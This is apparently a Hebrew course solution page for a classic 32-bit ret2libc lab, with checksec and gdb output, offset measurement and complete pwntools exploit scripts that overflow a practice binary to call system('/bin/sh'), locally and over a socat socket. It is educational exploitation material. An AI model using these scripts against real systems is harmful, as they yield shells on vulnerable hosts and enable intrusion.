לדלג לתוכן

4.2 ret2libc קלאסי פתרון

פתרון - ret2libc קלאסי

נעבור תרגיל אחרי תרגיל עם הפקודות האמיתיות, הפלט הצפוי, וה-exploit המלא. הכתובות בפלט הן דוגמה מהמערכת שלי והן תלויות בגרסת ה-libc שלכם - תמיד שלפו את הכתובות מה-libc שלכם ואל תעתיקו אותן עיוור.

פתרון תרגיל 1 - סיור ומדידה

בדיקת ההגנות:

$ checksec --file=./ret2libc
RELRO           STACK CANARY   NX            PIE
Partial RELRO   No canary      NX enabled    No PIE

המצב NX enabled הוא הסיבה שאנחנו בכלל צריכים ret2libc - אי אפשר shellcode על המחסנית. No canary אומר שהoverflow לא נתפסת. No PIE פחות קריטי כאן כי ממילא נשתמש בכתובות libc ולא בכתובות הבינארי, אבל הוא מקל.

איזו libc נטענת:

$ ldd ./ret2libc
    linux-gate.so.1 (0xf7fc7000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7dd4000)
    /lib/ld-linux.so.2 (0xf7fc9000)

הנתיב הוא /lib/i386-linux-gnu/libc.so.6, וכתובת הבסיס שלה בהרצה הזו היא 0xf7dd4000 (יציבה רק כי ASLR כבוי).

מדידת ה-offset עם cyclic:

from pwn import *
context.binary = ELF('./ret2libc')

p = process('./ret2libc')
p.sendline(cyclic(200))
p.wait()

core  = p.corefile
fault = core.read(core.esp, 4)          # what was on top of the stack at ret
log.info('offset = %d', cyclic_find(fault))

אצלי יצא offset = 92 (buffer 80 + padding alignment + saved ebp של 4). אצלכם זה עשוי להיות מעט שונה לפי המהדר - זו הסיבה שמודדים ולא מניחים.

פתרון תרגיל 2 - מציאת הכתובות ב-libc

עוצרים ב-main ומריצים, כדי ש-libc תהיה כבר ממופה:

$ gdb -q ./ret2libc
pwndbg> break main
pwndbg> run
pwndbg> p system
$1 = {int (const char *)} 0xf7e0c8d0 <system>
pwndbg> p exit
$2 = {void (int)} 0xf7dfe850 <exit>

המחרוזת "/bin/sh" שבתוך libc:

pwndbg> search -t string "/bin/sh"
libc.so.6  0xf7f4d4af  '/bin/sh'

או בלי pwndbg:

(gdb) find &system, +9999999, "/bin/sh"
0xf7f4d4af
1 pattern found.

שלוש הכתובות:

system = 0xf7e0c8d0
exit   = 0xf7dfe850
binsh  = 0xf7f4d4af

בין שתי הרצות הכתובות זהות, כי ASLR כבוי מקבע את בסיס ה-libc. אילו ASLR היה פעיל, בסיס ה-libc היה מוגרל מחדש בכל הרצה, ושלוש הכתובות היו זזות יחד - ואז לא היינו יכולים לכתוב אותן מראש. שימו לב שכולן במרחק קבוע מבסיס ה-libc, ולכן leak של אחת מגלה את כולן.

פתרון תרגיל 3 - exploit ידני ל-shell

מרכיבים את המבנה [system] [exit] [binsh] אחרי padding באורך ה-offset:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./ret2libc')

system = 0xf7e0c8d0
exit_a = 0xf7dfe850
binsh  = 0xf7f4d4af

offset = 92
payload = flat({offset: [
    system,     # overwrites the return address -> jumps to system
    exit_a,     # fake return address for system (clean exit)
    binsh,      # first argument: pointer to "/bin/sh"
]})

p = process('./ret2libc')
p.recvuntil(b'your bytes:')
p.sendline(payload)
p.interactive()

הפלט:

[+] Starting local process './ret2libc': pid 20481
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ ls
ret2libc  ret2libc.c

למה זה עבד: ה-ret של vuln קפץ ל-system, שמצאה בראש המחסנית את סלוט ה-exit (הreturn address שלה) ומעליו את המצביע ל-"/bin/sh" בתור הארגומנט. system("/bin/sh") פתחה shell. איך להכליל: זה השלד המינימלי של כל ret2libc ב-32 ביט - שלושה ערכים על המחסנית, בלי גאדג'ט אחד.

פתרון תרגיל 4 - exploit בלי כתובות קשיחות

נותנים ל-pwntools לחשב הכל מתוך אובייקט ה-libc:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./ret2libc')
libc = elf.libc                      # /lib/i386-linux-gnu/libc.so.6 per ldd

p = process('./ret2libc')

# ASLR off -> libc base is stable, grab it from the process's mapping table
libc.address = p.libs()[libc.path]
log.info('libc base = %#x', libc.address)

system = libc.symbols['system']
exit_a = libc.symbols['exit']
binsh  = next(libc.search(b'/bin/sh\x00'))
log.info('system=%#x  exit=%#x  binsh=%#x', system, exit_a, binsh)

offset = 92
payload = flat({offset: [system, exit_a, binsh]})

p.recvuntil(b'your bytes:')
p.sendline(payload)
p.interactive()

הלוג ידפיס בדיוק את אותן שלוש כתובות שמצאנו ידנית ב-gdb:

[*] libc base = 0xf7dd4000
[*] system=0xf7e0c8d0  exit=0xf7dfe850  binsh=0xf7f4d4af

למה זה עבד: libc.address מקבע את בסיס ה-libc, וממנו symbols ו-search מחזירים כתובות ריצה אמיתיות. איך להכליל: זה בדיוק הסקריפט שנשתמש בו ב-4.4 מול ASLR פעיל - ההבדל היחיד הוא שאת libc.address שם נחשב מתוך leak של כתובת libc כלשהי, במקום לשלוף מ-p.libs() שעובד רק כי ASLR כבוי.

פתרון תרגיל 5 - מה קורה כשמשמיטים דברים

השמטת סלוט החזרה המזויף - שולחים [system] [binsh] בלבד:

payload = flat({offset: [system, binsh]})

תחת gdb נראה ש-system רצה, אבל ברגע שהיא מנסה לקרוא את הארגומנט שלה היא מסתכלת על הסלוט שמיד אחרי הreturn address - שהוא עכשיו binsh בתור הreturn address שלה, ולא בתור הארגומנט. הארגומנט הראשון הוא מה שמעל, וזה כבר זבל שמעבר לpadding. התוצאה: system מקבלת מצביע לא חוקי כפקודה, או קורסת כשהיא מנסה לחזור ל-binsh (שהיא לא כתובת קוד חוקית לחזרה). זו ההוכחה שסלוט החזרה המזויף חובה - בלעדיו הכל מוזז מקום אחד.

שינוי ה-offset ב-4 בתים: אם קטנתם ב-4, הכתובת של system נכתבת 4 בתים מוקדם מדי ולא נוחתת בדיוק על סלוט הreturn address - ה-ret יקפוץ לזבל ותהיה קריסה. אם גדלתם ב-4, הreturn address נשארת עם 4 בתים מהpadding המקורי ו-system נכתבת בסלוט הלא נכון. בשני המקרים המבנה מתפרק. זה ממחיש כמה ה-offset חייב להיות מדויק לבית.

הפעלת ASLR מחדש והרצת ה-exploit הקשיח:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
for i in $(seq 5); do python3 exploit3.py < /dev/null; done

כמעט כל ההרצות ייכשלו עם SIGSEGV, כי בסיס ה-libc מוגרל מחדש בכל הרצה והכתובת הקשיחה 0xf7e0c8d0 כבר לא מצביעה ל-system. במקרה נדיר מאוד (הסתברות זעירה) הגורל יפיל את libc על אותו בסיס וזה יעבוד - אבל אי אפשר לסמוך על זה. זו בדיוק הסיבה שהשיעור הבא (4.4) עוסק בדליפת כתובת libc בזמן ריצה, כדי לחשב את הבסיס במקום לנחש אותו.

פתרון תרגיל 6 (בונוס) - מחרוזת משלכם והכללה לשרת

מחרוזת /bin/sh דרך משתנה סביבה:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./ret2libc')
libc = elf.libc

p = process('./ret2libc', env={'BINSH': '/bin/sh'})
libc.address = p.libs()[libc.path]

system = libc.symbols['system']
exit_a = libc.symbols['exit']
binsh  = 0xffffd6e2      # address of the string on the stack - found in gdb

offset = 92
payload = flat({offset: [system, exit_a, binsh]})
p.recvuntil(b'your bytes:')
p.sendline(payload)
p.interactive()

את הכתובת 0xffffd6e2 מצאנו ב-gdb כשהרצנו את הבינארי עם אותו משתנה סביבה:

pwndbg> search -t string "/bin/sh"
[stack]  0xffffd6e2  '/bin/sh'

מתי הטריק שימושי: כשמסיבה נדירה אין "/bin/sh" בתוך ה-libc, או כשרוצים לשלוט בדיוק בפקודה שתרוץ. מתי הוא שביר: הכתובת על המחסנית זזה אם משתנה אורך שם התוכנית (argv[0]) או מספר משתני הסביבה, ועם ASLR פעיל היא לא דטרמיניסטית בכלל. לכן ברירת המחדל היא תמיד המחרוזת שבתוך libc.

הכללה לשרת מרוחק (מבוסס על exploit תרגיל 4):

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./ret2libc')
libc = elf.libc

def conn():
    if args.REMOTE:
        return remote('127.0.0.1', 1337)
    return process('./ret2libc')

p = conn()
libc.address = p.libs()[libc.path]     # locally: stable since ASLR is off

system = libc.symbols['system']
exit_a = libc.symbols['exit']
binsh  = next(libc.search(b'/bin/sh\x00'))

offset = 92
payload = flat({offset: [system, exit_a, binsh]})
p.recvuntil(b'your bytes:')
p.sendline(payload)
p.interactive()

מריצים את השרת ותוקפים:

# window 1
socat TCP-LISTEN:1337,reuseaddr,fork EXEC:./ret2libc

# window 2
python3 exploit.py REMOTE

ומקבלים shell מרוחק.

למה זה עבד: מקומית p.libs() נותן את בסיס ה-libc היציב (ASLR כבוי). איך להכליל: שימו לב לפינה החשובה - מול שרת אמיתי עם ASLR פעיל, p.libs() של תהליך שאתם לא שולטים בזיכרון שלו כבר לא יעזור, וגם ה-libc על השרת עשויה להיות גרסה אחרת. אז צריך שני דברים: קובץ ה-libc המדויק של השרת (כדי לדעת את ההיסטים), וleak בזמן ריצה כדי לחשב את הבסיס. את שניהם נלמד ב-4.4. ret2libc שראינו כאן הוא החלק שנשאר קבוע: ברגע שיש לכם את הכתובות, בניית הקריאה ל-system זהה לחלוטין.